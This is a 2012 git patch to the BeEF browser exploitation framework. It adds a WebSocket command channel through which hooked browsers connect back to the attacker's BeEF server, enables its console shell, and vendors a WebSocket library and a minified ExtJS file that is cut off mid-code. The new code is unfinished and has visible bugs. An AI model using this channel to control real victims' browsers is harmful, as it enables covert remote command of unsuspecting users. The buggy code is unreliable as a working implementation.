From 736c81573eda3f293322b245f3cc6df757562f06 Mon Sep 17 00:00:00 2001 From: Graziano Felline Date: Fri, 6 Apr 2012 02:21:40 +0200 Subject: [PATCH 01/33] Setting up structures and server/client environment. A lot of TODO --- config.yaml | 2 +- core/main/client/beef.js | 4 +- core/main/client/init.js | 5 +- core/main/client/updater.js | 9 +- core/main/client/websocket.js | 36 + .../websocket/handlers/module.rb | 51 + .../network_stack/websocket/lib/web_socket.rb | 588 + .../admin_ui/media/javascript/ext-all.js | 29745 +++++++++++++++- 8 files changed, 30430 insertions(+), 10 deletions(-) create mode 100644 core/main/client/websocket.js create mode 100644 core/main/network_stack/websocket/handlers/module.rb create mode 100644 core/main/network_stack/websocket/lib/web_socket.rb diff --git a/config.yaml b/config.yaml index 679d183f6..5fd15dac8 100644 --- a/config.yaml +++ b/config.yaml @@ -67,4 +67,4 @@ beef: enable: false console: shell: - enable: false + enable: true diff --git a/core/main/client/beef.js b/core/main/client/beef.js index 547d1b1d8..5fc41efda 100644 --- a/core/main/client/beef.js +++ b/core/main/client/beef.js @@ -49,8 +49,10 @@ if(typeof beef === 'undefined' && typeof window.beef === 'undefined') { */ execute: function(fn) { this.commands.push(fn); + /*controllare se il websocket รจ attivo*/ }, - + + /** * Registers a component in BeEF JS. * @params: {String} the component. diff --git a/core/main/client/init.js b/core/main/client/init.js index 1b2221597..5591585f7 100644 --- a/core/main/client/init.js +++ b/core/main/client/init.js @@ -61,9 +61,12 @@ window.onclose = function(event) { function beef_init() { if (!beef.pageIsLoaded) { beef.pageIsLoaded = true; - beef.net.browser_details() + beef.net.browser_details(); beef.updater.execute_commands(); beef.updater.check(); beef.logger.start(); + /*@TODO we need a check here*/ + beef.websocket.start(); } + } diff --git a/core/main/client/updater.js b/core/main/client/updater.js index 2c272b4e2..e65b82e31 100644 --- a/core/main/client/updater.js +++ b/core/main/client/updater.js @@ -51,8 +51,10 @@ beef.updater = { beef.net.flush(); if(beef.commands.length > 0) { this.execute_commands(); - } else { - this.get_commands(); + } /*here controllare ci sta sto websocket??? nn ha senso fare polling*/ + + else { + this.get_commands(); /*Polling*/ } } setTimeout("beef.updater.check();", beef.updater.timeout); @@ -78,7 +80,8 @@ beef.updater = { if(beef.commands.length == 0) return; this.lock = true; - + /*here execute the command */ + while(beef.commands.length > 0) { command = beef.commands.pop(); try { diff --git a/core/main/client/websocket.js b/core/main/client/websocket.js new file mode 100644 index 000000000..4b4b9a075 --- /dev/null +++ b/core/main/client/websocket.js @@ -0,0 +1,36 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// + +//beef.websocket.socket.send(take answer to server beef) +/*New browser init call this */ +beef.websocket = { + socket: null, + /*websocket send Helo to beef server and start async communication*/ + start:function(){ + /*server is always on ws.beefServer:6666*/ + var webSocketServer=beef.net.host; /*beefHost*/ + var webSocketPort=6666; + if(beef.browser.getBrowserName=="FF") + this.socket = new MozWebSocket("ws://"+webSocketServer+":"+webSocketPort+"/"); + else + this.socket = new WebSocket("ws://"+webSocketServer+":"+webSocketPort+"/"); + /*so the server is just up we need send helo id @todo insert browser ID where can i get them?*/ + this.socket.send("Helo"+"myid00"); + + } + + +} /*end websocket*/ \ No newline at end of file diff --git a/core/main/network_stack/websocket/handlers/module.rb b/core/main/network_stack/websocket/handlers/module.rb new file mode 100644 index 000000000..235b2d1b0 --- /dev/null +++ b/core/main/network_stack/websocket/handlers/module.rb @@ -0,0 +1,51 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +module BeEF + module Core + module Rest + class Websocket + #load the library + $LOAD_PATH << File.dirname(__FILE__) + "../lib" + require "web_socket" + server = WebSocketServer.new("localhost", 6666) #we get host and port how + server.run() do |ws| + #@TODO debug print the path and who request for hooked browser mapping + printf("Path requested #{ws.path} Originis #{ws.origin}") + if ws.path == "/" + ws.handshake() #accept and connect + + while true + #command interpretation + message=ws.receve() + + if (message!="helo") + #module return value case + else + printf("Browser #{ws.origin} says helo! ws is running") + end + + + end + + + end + + + end + end + end + end +end \ No newline at end of file diff --git a/core/main/network_stack/websocket/lib/web_socket.rb b/core/main/network_stack/websocket/lib/web_socket.rb new file mode 100644 index 000000000..74bde1967 --- /dev/null +++ b/core/main/network_stack/websocket/lib/web_socket.rb @@ -0,0 +1,588 @@ +# Copyright: Hiroshi Ichikawa +# Lincense: New BSD Lincense +# Reference: http://tools.ietf.org/html/draft-hixie-thewebsocketprotocol-75 +# Reference: http://tools.ietf.org/html/draft-hixie-thewebsocketprotocol-76 +# Reference: http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-07 +# Reference: http://tools.ietf.org/html/draft-ietf-hybi-thewebsocketprotocol-10 + +require "base64" +require "socket" +require "uri" +require "digest/md5" +require "digest/sha1" +require "openssl" +require "stringio" + + +class WebSocket + + class << self + + attr_accessor(:debug) + + end + + class Error < RuntimeError + + end + + WEB_SOCKET_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" + OPCODE_CONTINUATION = 0x00 + OPCODE_TEXT = 0x01 + OPCODE_BINARY = 0x02 + OPCODE_CLOSE = 0x08 + OPCODE_PING = 0x09 + OPCODE_PONG = 0x0a + + def initialize(arg, params = {}) + if params[:server] # server + + @server = params[:server] + @socket = arg + line = gets().chomp() + if !(line =~ /\AGET (\S+) HTTP\/1.1\z/n) + raise(WebSocket::Error, "invalid request: #{line}") + end + @path = $1 + read_header() + if @header["sec-websocket-version"] + @web_socket_version = @header["sec-websocket-version"] + @key3 = nil + elsif @header["sec-websocket-key1"] && @header["sec-websocket-key2"] + @web_socket_version = "hixie-76" + @key3 = read(8) + else + @web_socket_version = "hixie-75" + @key3 = nil + end + if !@server.accepted_origin?(self.origin) + raise(WebSocket::Error, + ("Unaccepted origin: %s (server.accepted_domains = %p)\n\n" + + "To accept this origin, write e.g. \n" + + " WebSocketServer.new(..., :accepted_domains => [%p]), or\n" + + " WebSocketServer.new(..., :accepted_domains => [\"*\"])\n") % + [self.origin, @server.accepted_domains, @server.origin_to_domain(self.origin)]) + end + @handshaked = false + + else # client + + @web_socket_version = "hixie-76" + uri = arg.is_a?(String) ? URI.parse(arg) : arg + + if uri.scheme == "ws" + default_port = 80 + elsif uri.scheme = "wss" + default_port = 443 + else + raise(WebSocket::Error, "unsupported scheme: #{uri.scheme}") + end + + @path = (uri.path.empty? ? "/" : uri.path) + (uri.query ? "?" + uri.query : "") + host = uri.host + ((!uri.port || uri.port == default_port) ? "" : ":#{uri.port}") + origin = params[:origin] || "http://#{uri.host}" + key1 = generate_key() + key2 = generate_key() + key3 = generate_key3() + + socket = TCPSocket.new(uri.host, uri.port || default_port) + + if uri.scheme == "ws" + @socket = socket + else + @socket = ssl_handshake(socket) + end + + write( + "GET #{@path} HTTP/1.1\r\n" + + "Upgrade: WebSocket\r\n" + + "Connection: Upgrade\r\n" + + "Host: #{host}\r\n" + + "Origin: #{origin}\r\n" + + "Sec-WebSocket-Key1: #{key1}\r\n" + + "Sec-WebSocket-Key2: #{key2}\r\n" + + "\r\n" + + "#{key3}") + flush() + + line = gets().chomp() + raise(WebSocket::Error, "bad response: #{line}") if !(line =~ /\AHTTP\/1.1 101 /n) + read_header() + if (@header["sec-websocket-origin"] || "").downcase() != origin.downcase() + raise(WebSocket::Error, + "origin doesn't match: '#{@header["sec-websocket-origin"]}' != '#{origin}'") + end + reply_digest = read(16) + expected_digest = hixie_76_security_digest(key1, key2, key3) + if reply_digest != expected_digest + raise(WebSocket::Error, + "security digest doesn't match: %p != %p" % [reply_digest, expected_digest]) + end + @handshaked = true + + end + @received = [] + @buffer = "" + @closing_started = false + end + + attr_reader(:server, :header, :path) + + def handshake(status = nil, header = {}) + if @handshaked + raise(WebSocket::Error, "handshake has already been done") + end + status ||= "101 Switching Protocols" + def_header = {} + case @web_socket_version + when "hixie-75" + def_header["WebSocket-Origin"] = self.origin + def_header["WebSocket-Location"] = self.location + extra_bytes = "" + when "hixie-76" + def_header["Sec-WebSocket-Origin"] = self.origin + def_header["Sec-WebSocket-Location"] = self.location + extra_bytes = hixie_76_security_digest( + @header["Sec-WebSocket-Key1"], @header["Sec-WebSocket-Key2"], @key3) + else + def_header["Sec-WebSocket-Accept"] = security_digest(@header["sec-websocket-key"]) + extra_bytes = "" + end + header = def_header.merge(header) + header_str = header.map(){ |k, v| "#{k}: #{v}\r\n" }.join("") + # Note that Upgrade and Connection must appear in this order. + write( + "HTTP/1.1 #{status}\r\n" + + "Upgrade: websocket\r\n" + + "Connection: Upgrade\r\n" + + "#{header_str}\r\n#{extra_bytes}") + flush() + @handshaked = true + end + + def send(data) + if !@handshaked + raise(WebSocket::Error, "call WebSocket\#handshake first") + end + case @web_socket_version + when "hixie-75", "hixie-76" + data = force_encoding(data.dup(), "ASCII-8BIT") + write("\x00#{data}\xff") + flush() + else + send_frame(OPCODE_TEXT, data, !@server) + end + end + + def receive() + if !@handshaked + raise(WebSocket::Error, "call WebSocket\#handshake first") + end + case @web_socket_version + + when "hixie-75", "hixie-76" + packet = gets("\xff") + return nil if !packet + if packet =~ /\A\x00(.*)\xff\z/nm + return force_encoding($1, "UTF-8") + elsif packet == "\xff" && read(1) == "\x00" # closing + close(1005, "", :peer) + return nil + else + raise(WebSocket::Error, "input must be either '\\x00...\\xff' or '\\xff\\x00'") + end + + else + begin + bytes = read(2).unpack("C*") + fin = (bytes[0] & 0x80) != 0 + opcode = bytes[0] & 0x0f + mask = (bytes[1] & 0x80) != 0 + plength = bytes[1] & 0x7f + if plength == 126 + bytes = read(2) + plength = bytes.unpack("n")[0] + elsif plength == 127 + bytes = read(8) + (high, low) = bytes.unpack("NN") + plength = high * (2 ** 32) + low + end + if @server && !mask + # Masking is required. + @socket.close() + raise(WebSocket::Error, "received unmasked data") + end + mask_key = mask ? read(4).unpack("C*") : nil + payload = read(plength) + payload = apply_mask(payload, mask_key) if mask + case opcode + when OPCODE_TEXT + return force_encoding(payload, "UTF-8") + when OPCODE_BINARY + raise(WebSocket::Error, "received binary data, which is not supported") + when OPCODE_CLOSE + close(1005, "", :peer) + return nil + when OPCODE_PING + raise(WebSocket::Error, "received ping, which is not supported") + when OPCODE_PONG + else + raise(WebSocket::Error, "received unknown opcode: %d" % opcode) + end + rescue EOFError + return nil + end + + end + end + + def tcp_socket + return @socket + end + + def host + return @header["host"] + end + + def origin + case @web_socket_version + when "7", "8" + name = "sec-websocket-origin" + else + name = "origin" + end + if @header[name] + return @header[name] + else + raise(WebSocket::Error, "%s header is missing" % name) + end + end + + def location + return "ws://#{self.host}#{@path}" + end + + # Does closing handshake. + def close(code = 1005, reason = "", origin = :self) + if !@closing_started + case @web_socket_version + when "hixie-75", "hixie-76" + write("\xff\x00") + else + if code == 1005 + payload = "" + else + payload = [code].pack("n") + force_encoding(reason.dup(), "ASCII-8BIT") + end + send_frame(OPCODE_CLOSE, payload, false) + end + end + @socket.close() if origin == :peer + @closing_started = true + end + + def close_socket() + @socket.close() + end + + private + + NOISE_CHARS = ("\x21".."\x2f").to_a() + ("\x3a".."\x7e").to_a() + + def read_header() + @header = {} + while line = gets() + line = line.chomp() + break if line.empty? + if !(line =~ /\A(\S+): (.*)\z/n) + raise(WebSocket::Error, "invalid request: #{line}") + end + @header[$1] = $2 + @header[$1.downcase()] = $2 + end + if !@header["upgrade"] + raise(WebSocket::Error, "Upgrade header is missing") + end + if !(@header["upgrade"] =~ /\AWebSocket\z/i) + raise(WebSocket::Error, "invalid Upgrade: " + @header["upgrade"]) + end + if !@header["connection"] + raise(WebSocket::Error, "Connection header is missing") + end + if @header["connection"].split(/,/).grep(/\A\s*Upgrade\s*\z/i).empty? + raise(WebSocket::Error, "invalid Connection: " + @header["connection"]) + end + end + + def send_frame(opcode, payload, mask) + payload = force_encoding(payload.dup(), "ASCII-8BIT") + # Setting StringIO's encoding to ASCII-8BIT. + buffer = StringIO.new(force_encoding("", "ASCII-8BIT")) + write_byte(buffer, 0x80 | opcode) + masked_byte = mask ? 0x80 : 0x00 + if payload.bytesize <= 125 + write_byte(buffer, masked_byte | payload.bytesize) + elsif payload.bytesize < 2 ** 16 + write_byte(buffer, masked_byte | 126) + buffer.write([payload.bytesize].pack("n")) + else + write_byte(buffer, masked_byte | 127) + buffer.write([payload.bytesize / (2 ** 32), payload.bytesize % (2 ** 32)].pack("NN")) + end + if mask + mask_key = Array.new(4){ rand(256) } + buffer.write(mask_key.pack("C*")) + payload = apply_mask(payload, mask_key) + end + buffer.write(payload) + write(buffer.string) + end + + def gets(rs = $/) + line = @socket.gets(rs) + $stderr.printf("recv> %p\n", line) if WebSocket.debug + return line + end + + def read(num_bytes) + str = @socket.read(num_bytes) + $stderr.printf("recv> %p\n", str) if WebSocket.debug + if str && str.bytesize == num_bytes + return str + else + raise(EOFError) + end + end + + def write(data) + if WebSocket.debug + data.scan(/\G(.*?(\n|\z))/n) do + $stderr.printf("send> %p\n", $&) if !$&.empty? + end + end + @socket.write(data) + end + + def flush() + @socket.flush() + end + + def write_byte(buffer, byte) + buffer.write([byte].pack("C")) + end + + def security_digest(key) + return Base64.encode64(Digest::SHA1.digest(key + WEB_SOCKET_GUID)).gsub(/\n/, "") + end + + def hixie_76_security_digest(key1, key2, key3) + bytes1 = websocket_key_to_bytes(key1) + bytes2 = websocket_key_to_bytes(key2) + return Digest::MD5.digest(bytes1 + bytes2 + key3) + end + + def apply_mask(payload, mask_key) + orig_bytes = payload.unpack("C*") + new_bytes = [] + orig_bytes.each_with_index() do |b, i| + new_bytes.push(b ^ mask_key[i % 4]) + end + return new_bytes.pack("C*") + end + + def generate_key() + spaces = 1 + rand(12) + max = 0xffffffff / spaces + number = rand(max + 1) + key = (number * spaces).to_s() + (1 + rand(12)).times() do + char = NOISE_CHARS[rand(NOISE_CHARS.size)] + pos = rand(key.size + 1) + key[pos...pos] = char + end + spaces.times() do + pos = 1 + rand(key.size - 1) + key[pos...pos] = " " + end + return key + end + + def generate_key3() + return [rand(0x100000000)].pack("N") + [rand(0x100000000)].pack("N") + end + + def websocket_key_to_bytes(key) + num = key.gsub(/[^\d]/n, "").to_i() / key.scan(/ /).size + return [num].pack("N") + end + + def force_encoding(str, encoding) + if str.respond_to?(:force_encoding) + return str.force_encoding(encoding) + else + return str + end + end + + def ssl_handshake(socket) + ssl_context = OpenSSL::SSL::SSLContext.new() + ssl_socket = OpenSSL::SSL::SSLSocket.new(socket, ssl_context) + ssl_socket.sync_close = true + ssl_socket.connect() + return ssl_socket + end + +end + + +class WebSocketServer + + def initialize(params_or_uri, params = nil) + if params + uri = params_or_uri.is_a?(String) ? URI.parse(params_or_uri) : params_or_uri + params[:port] ||= uri.port + params[:accepted_domains] ||= [uri.host] + else + params = params_or_uri + end + @port = params[:port] || 80 + @accepted_domains = params[:accepted_domains] + if !@accepted_domains + raise(ArgumentError, "params[:accepted_domains] is required") + end + if params[:host] + @tcp_server = TCPServer.open(params[:host], @port) + else + @tcp_server = TCPServer.open(@port) + end + end + + attr_reader(:tcp_server, :port, :accepted_domains) + + def run(&block) + while true + Thread.start(accept()) do |s| + begin + ws = create_web_socket(s) + yield(ws) if ws + rescue => ex + print_backtrace(ex) + ensure + begin + ws.close_socket() if ws + rescue + end + end + end + end + end + + def accept() + return @tcp_server.accept() + end + + def accepted_origin?(origin) + domain = origin_to_domain(origin) + return @accepted_domains.any?(){ |d| File.fnmatch(d, domain) } + end + + def origin_to_domain(origin) + if origin == "null" || origin == "file://" # local file + return "null" + else + return URI.parse(origin).host + end + end + + def create_web_socket(socket) + ch = socket.getc() + if ch == ?< + # This is Flash socket policy file request, not an actual Web Socket connection. + send_flash_socket_policy_file(socket) + return nil + else + socket.ungetc(ch) + return WebSocket.new(socket, :server => self) + end + end + + private + + def print_backtrace(ex) + $stderr.printf("%s: %s (%p)\n", ex.backtrace[0], ex.message, ex.class) + for s in ex.backtrace[1..-1] + $stderr.printf(" %s\n", s) + end + end + + # Handles Flash socket policy file request sent when web-socket-js is used: + # http://github.com/gimite/web-socket-js/tree/master + def send_flash_socket_policy_file(socket) + socket.puts('') + socket.puts('') + socket.puts('') + for domain in @accepted_domains + next if domain == "file://" + socket.puts("") + end + socket.puts('') + socket.close() + end + +end + + +if __FILE__ == $0 + Thread.abort_on_exception = true + + if ARGV[0] == "server" && ARGV.size == 3 + + server = WebSocketServer.new( + :accepted_domains => [ARGV[1]], + :port => ARGV[2].to_i()) + puts("Server is running at port %d" % server.port) + server.run() do |ws| + puts("Connection accepted") + puts("Path: #{ws.path}, Origin: #{ws.origin}") + if ws.path == "/" + ws.handshake() + while data = ws.receive() + printf("Received: %p\n", data) + ws.send(data) + printf("Sent: %p\n", data) + end + elsif ws.path == "/badjs" + printf("Received: %s\n", ws.path) + #modules code here inject + + else + ws.handshake("404 Not Found") + end + puts("Connection closed") + end + + elsif ARGV[0] == "client" && ARGV.size == 2 + + client = WebSocket.new(ARGV[1]) + puts("Connected") + Thread.new() do + while data = client.receive() + printf("Received: %p\n", data) + end + end + $stdin.each_line() do |line| + data = line.chomp() + client.send(data) + printf("Sent: %p\n", data) + end + + else + + $stderr.puts("Usage:") + $stderr.puts(" ruby web_socket.rb server ACCEPTED_DOMAIN PORT") + $stderr.puts(" ruby web_socket.rb client ws://HOST:PORT/") + exit(1) + + end +end diff --git a/extensions/admin_ui/media/javascript/ext-all.js b/extensions/admin_ui/media/javascript/ext-all.js index 5b0034a59..b5a11e118 100644 --- a/extensions/admin_ui/media/javascript/ext-all.js +++ b/extensions/admin_ui/media/javascript/ext-all.js @@ -4,8 +4,29745 @@ * licensing@sencha.com * http://www.sencha.com/license */ -(function(){var h=Ext.util,j=Ext.each,g=true,i=false;h.Observable=function(){var k=this,l=k.events;if(k.listeners){k.on(k.listeners);delete k.listeners}k.events=l||{}};h.Observable.prototype={filterOptRe:/^(?:scope|delay|buffer|single)$/,fireEvent:function(){var k=Array.prototype.slice.call(arguments,0),m=k[0].toLowerCase(),n=this,l=g,p=n.events[m],s,o,r;if(n.eventsSuspended===g){if(o=n.eventQueue){o.push(k)}}else{if(typeof p=="object"){if(p.bubble){if(p.fire.apply(p,k.slice(1))===i){return i}r=n.getBubbleTarget&&n.getBubbleTarget();if(r&&r.enableBubble){s=r.events[m];if(!s||typeof s!="object"||!s.bubble){r.enableBubble(m)}return r.fireEvent.apply(r,k)}}else{k.shift();l=p.fire.apply(p,k)}}}return l},addListener:function(k,m,l,r){var n=this,q,s,p;if(typeof k=="object"){r=k;for(q in r){s=r[q];if(!n.filterOptRe.test(q)){n.addListener(q,s.fn||s,s.scope||r.scope,s.fn?s:r)}}}else{k=k.toLowerCase();p=n.events[k]||g;if(typeof p=="boolean"){n.events[k]=p=new h.Event(n,k)}p.addListener(m,l,typeof r=="object"?r:{})}},removeListener:function(k,m,l){var n=this.events[k.toLowerCase()];if(typeof n=="object"){n.removeListener(m,l)}},purgeListeners:function(){var m=this.events,k,l;for(l in m){k=m[l];if(typeof k=="object"){k.clearListeners()}}},addEvents:function(n){var m=this;m.events=m.events||{};if(typeof n=="string"){var k=arguments,l=k.length;while(l--){m.events[k[l]]=m.events[k[l]]||g}}else{Ext.applyIf(m.events,n)}},hasListener:function(k){var l=this.events[k.toLowerCase()];return typeof l=="object"&&l.listeners.length>0},suspendEvents:function(k){this.eventsSuspended=g;if(k&&!this.eventQueue){this.eventQueue=[]}},resumeEvents:function(){var k=this,l=k.eventQueue||[];k.eventsSuspended=i;delete k.eventQueue;j(l,function(m){k.fireEvent.apply(k,m)})}};var d=h.Observable.prototype;d.on=d.addListener;d.un=d.removeListener;h.Observable.releaseCapture=function(k){k.fireEvent=d.fireEvent};function e(l,m,k){return function(){if(m.target==arguments[0]){l.apply(k,Array.prototype.slice.call(arguments,0))}}}function b(n,p,k,m){k.task=new h.DelayedTask();return function(){k.task.delay(p.buffer,n,m,Array.prototype.slice.call(arguments,0))}}function c(m,n,l,k){return function(){n.removeListener(l,k);return m.apply(k,arguments)}}function a(n,p,k,m){return function(){var l=new h.DelayedTask(),o=Array.prototype.slice.call(arguments,0);if(!k.tasks){k.tasks=[]}k.tasks.push(l);l.delay(p.delay||10,function(){k.tasks.remove(l);n.apply(m,o)},m)}}h.Event=function(l,k){this.name=k;this.obj=l;this.listeners=[]};h.Event.prototype={addListener:function(o,n,m){var p=this,k;n=n||p.obj;if(!p.isListening(o,n)){k=p.createListener(o,n,m);if(p.firing){p.listeners=p.listeners.slice(0)}p.listeners.push(k)}},createListener:function(p,n,q){q=q||{};n=n||this.obj;var k={fn:p,scope:n,options:q},m=p;if(q.target){m=e(m,q,n)}if(q.delay){m=a(m,q,k,n)}if(q.single){m=c(m,this,p,n)}if(q.buffer){m=b(m,q,k,n)}k.fireFn=m;return k},findListener:function(o,n){var p=this.listeners,m=p.length,k;n=n||this.obj;while(m--){k=p[m];if(k){if(k.fn==o&&k.scope==n){return m}}}return -1},isListening:function(l,k){return this.findListener(l,k)!=-1},removeListener:function(r,q){var p,m,n,s=this,o=i;if((p=s.findListener(r,q))!=-1){if(s.firing){s.listeners=s.listeners.slice(0)}m=s.listeners[p];if(m.task){m.task.cancel();delete m.task}n=m.tasks&&m.tasks.length;if(n){while(n--){m.tasks[n].cancel()}delete m.tasks}s.listeners.splice(p,1);o=g}return o},clearListeners:function(){var n=this,k=n.listeners,m=k.length;while(m--){n.removeListener(k[m].fn,k[m].scope)}},fire:function(){var q=this,p=q.listeners,k=p.length,o=0,m;if(k>0){q.firing=g;var n=Array.prototype.slice.call(arguments,0);for(;o",i="",b=a+"",j=""+i,l=b+"",w=""+j;function h(B,D,C,E,A,y){var z=r.insertHtml(E,Ext.getDom(B),u(D));return C?Ext.get(z,true):z}function u(D){var z="",y,C,B,E;if(typeof D=="string"){z=D}else{if(Ext.isArray(D)){for(var A=0;A"}}}return z}function g(F,C,B,D){x.innerHTML=[C,B,D].join("");var y=-1,A=x,z;while(++y "'+D+'"'},insertBefore:function(y,A,z){return h(y,A,z,c)},insertAfter:function(y,A,z){return h(y,A,z,p,"nextSibling")},insertFirst:function(y,A,z){return h(y,A,z,n,"firstChild")},append:function(y,A,z){return h(y,A,z,q,"",true)},overwrite:function(y,A,z){y=Ext.getDom(y);y.innerHTML=u(A);return z?Ext.get(y.firstChild):y.firstChild},createHtml:u};return r}();Ext.Template=function(h){var j=this,c=arguments,e=[],d;if(Ext.isArray(h)){h=h.join("")}else{if(c.length>1){for(var g=0,b=c.length;g+~]\s?|\s|$)/,tagTokenRe=/^(#)?([\w\-\*]+)/,nthRe=/(\d*)n\+?(\d*)/,nthRe2=/\D/,isIE=window.ActiveXObject?true:false,key=30803;eval("var batch = 30803;");function child(parent,index){var i=0,n=parent.firstChild;while(n){if(n.nodeType==1){if(++i==index){return n}}n=n.nextSibling}return null}function next(n){while((n=n.nextSibling)&&n.nodeType!=1){}return n}function prev(n){while((n=n.previousSibling)&&n.nodeType!=1){}return n}function children(parent){var n=parent.firstChild,nodeIndex=-1,nextNode;while(n){nextNode=n.nextSibling;if(n.nodeType==3&&!nonSpace.test(n.nodeValue)){parent.removeChild(n)}else{n.nodeIndex=++nodeIndex}n=nextNode}return this}function byClassName(nodeSet,cls){if(!cls){return nodeSet}var result=[],ri=-1;for(var i=0,ci;ci=nodeSet[i];i++){if((" "+ci.className+" ").indexOf(cls)!=-1){result[++ri]=ci}}return result}function attrValue(n,attr){if(!n.tagName&&typeof n.length!="undefined"){n=n[0]}if(!n){return null}if(attr=="for"){return n.htmlFor}if(attr=="class"||attr=="className"){return n.className}return n.getAttribute(attr)||n[attr]}function getNodes(ns,mode,tagName){var result=[],ri=-1,cs;if(!ns){return result}tagName=tagName||"*";if(typeof ns.getElementsByTagName!="undefined"){ns=[ns]}if(!mode){for(var i=0,ni;ni=ns[i];i++){cs=ni.getElementsByTagName(tagName);for(var j=0,ci;ci=cs[j];j++){result[++ri]=ci}}}else{if(mode=="/"||mode==">"){var utag=tagName.toUpperCase();for(var i=0,ni,cn;ni=ns[i];i++){cn=ni.childNodes;for(var j=0,cj;cj=cn[j];j++){if(cj.nodeName==utag||cj.nodeName==tagName||tagName=="*"){result[++ri]=cj}}}}else{if(mode=="+"){var utag=tagName.toUpperCase();for(var i=0,n;n=ns[i];i++){while((n=n.nextSibling)&&n.nodeType!=1){}if(n&&(n.nodeName==utag||n.nodeName==tagName||tagName=="*")){result[++ri]=n}}}else{if(mode=="~"){var utag=tagName.toUpperCase();for(var i=0,n;n=ns[i];i++){while((n=n.nextSibling)){if(n.nodeName==utag||n.nodeName==tagName||tagName=="*"){result[++ri]=n}}}}}}}return result}function concat(a,b){if(b.slice){return a.concat(b)}for(var i=0,l=b.length;i1){return nodup(results)}return results},isXml:function(el){var docEl=(el?el.ownerDocument||el:0).documentElement;return docEl?docEl.nodeName!=="HTML":false},select:document.querySelectorAll?function(path,root,type){root=root||document;if(!Ext.DomQuery.isXml(root)){try{var cs=root.querySelectorAll(path);return Ext.toArray(cs)}catch(ex){}}return Ext.DomQuery.jsSelect.call(this,path,root,type)}:function(path,root,type){return Ext.DomQuery.jsSelect.call(this,path,root,type)},selectNode:function(path,root){return Ext.DomQuery.select(path,root)[0]},selectValue:function(path,root,defaultValue){path=path.replace(trimRe,"");if(!valueCache[path]){valueCache[path]=Ext.DomQuery.compile(path,"select")}var n=valueCache[path](root),v;n=n[0]?n[0]:n;if(typeof n.normalize=="function"){n.normalize()}v=(n&&n.firstChild?n.firstChild.nodeValue:null);return((v===null||v===undefined||v==="")?defaultValue:v)},selectNumber:function(path,root,defaultValue){var v=Ext.DomQuery.selectValue(path,root,defaultValue||0);return parseFloat(v)},is:function(el,ss){if(typeof el=="string"){el=document.getElementById(el)}var isArray=Ext.isArray(el),result=Ext.DomQuery.filter(isArray?el:[el],ss);return isArray?(result.length==el.length):(result.length>0)},filter:function(els,ss,nonMatches){ss=ss.replace(trimRe,"");if(!simpleCache[ss]){simpleCache[ss]=Ext.DomQuery.compile(ss,"simple")}var result=simpleCache[ss](els);return nonMatches?quickDiff(result,els):result},matchers:[{re:/^\.([\w\-]+)/,select:'n = byClassName(n, " {1} ");'},{re:/^\:([\w\-]+)(?:\(((?:[^\s>\/]*|.*?))\))?/,select:'n = byPseudo(n, "{1}", "{2}");'},{re:/^(?:([\[\{])(?:@)?([\w\-]+)\s?(?:(=|.=)\s?(["']?)(.*?)\4)?[\]\}])/,select:'n = byAttribute(n, "{2}", "{5}", "{3}", "{1}");'},{re:/^#([\w\-]+)/,select:'n = byId(n, "{1}");'},{re:/^@([\w\-]+)/,select:'return {firstChild:{nodeValue:attrValue(n, "{1}")}};'}],operators:{"=":function(a,v){return a==v},"!=":function(a,v){return a!=v},"^=":function(a,v){return a&&a.substr(0,v.length)==v},"$=":function(a,v){return a&&a.substr(a.length-v.length)==v},"*=":function(a,v){return a&&a.indexOf(v)!==-1},"%=":function(a,v){return(a%v)==0},"|=":function(a,v){return a&&(a==v||a.substr(0,v.length+1)==v+"-")},"~=":function(a,v){return a&&(" "+a+" ").indexOf(" "+v+" ")!=-1}},pseudos:{"first-child":function(c){var r=[],ri=-1,n;for(var i=0,ci;ci=n=c[i];i++){while((n=n.previousSibling)&&n.nodeType!=1){}if(!n){r[++ri]=ci}}return r},"last-child":function(c){var r=[],ri=-1,n;for(var i=0,ci;ci=n=c[i];i++){while((n=n.nextSibling)&&n.nodeType!=1){}if(!n){r[++ri]=ci}}return r},"nth-child":function(c,a){var r=[],ri=-1,m=nthRe.exec(a=="even"&&"2n"||a=="odd"&&"2n+1"||!nthRe2.test(a)&&"n+"+a||a),f=(m[1]||1)-0,l=m[2]-0;for(var i=0,n;n=c[i];i++){var pn=n.parentNode;if(batch!=pn._batch){var j=0;for(var cn=pn.firstChild;cn;cn=cn.nextSibling){if(cn.nodeType==1){cn.nodeIndex=++j}}pn._batch=batch}if(f==1){if(l==0||n.nodeIndex==l){r[++ri]=n}}else{if((n.nodeIndex+l)%f==0){r[++ri]=n}}}return r},"only-child":function(c){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if(!prev(ci)&&!next(ci)){r[++ri]=ci}}return r},empty:function(c){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){var cns=ci.childNodes,j=0,cn,empty=true;while(cn=cns[j]){++j;if(cn.nodeType==1||cn.nodeType==3){empty=false;break}}if(empty){r[++ri]=ci}}return r},contains:function(c,v){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if((ci.textContent||ci.innerText||"").indexOf(v)!=-1){r[++ri]=ci}}return r},nodeValue:function(c,v){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if(ci.firstChild&&ci.firstChild.nodeValue==v){r[++ri]=ci}}return r},checked:function(c){var r=[],ri=-1;for(var i=0,ci;ci=c[i];i++){if(ci.checked==true){r[++ri]=ci}}return r},not:function(c,ss){return Ext.DomQuery.filter(c,ss,true)},any:function(c,selectors){var ss=selectors.split("|"),r=[],ri=-1,s;for(var i=0,ci;ci=c[i];i++){for(var 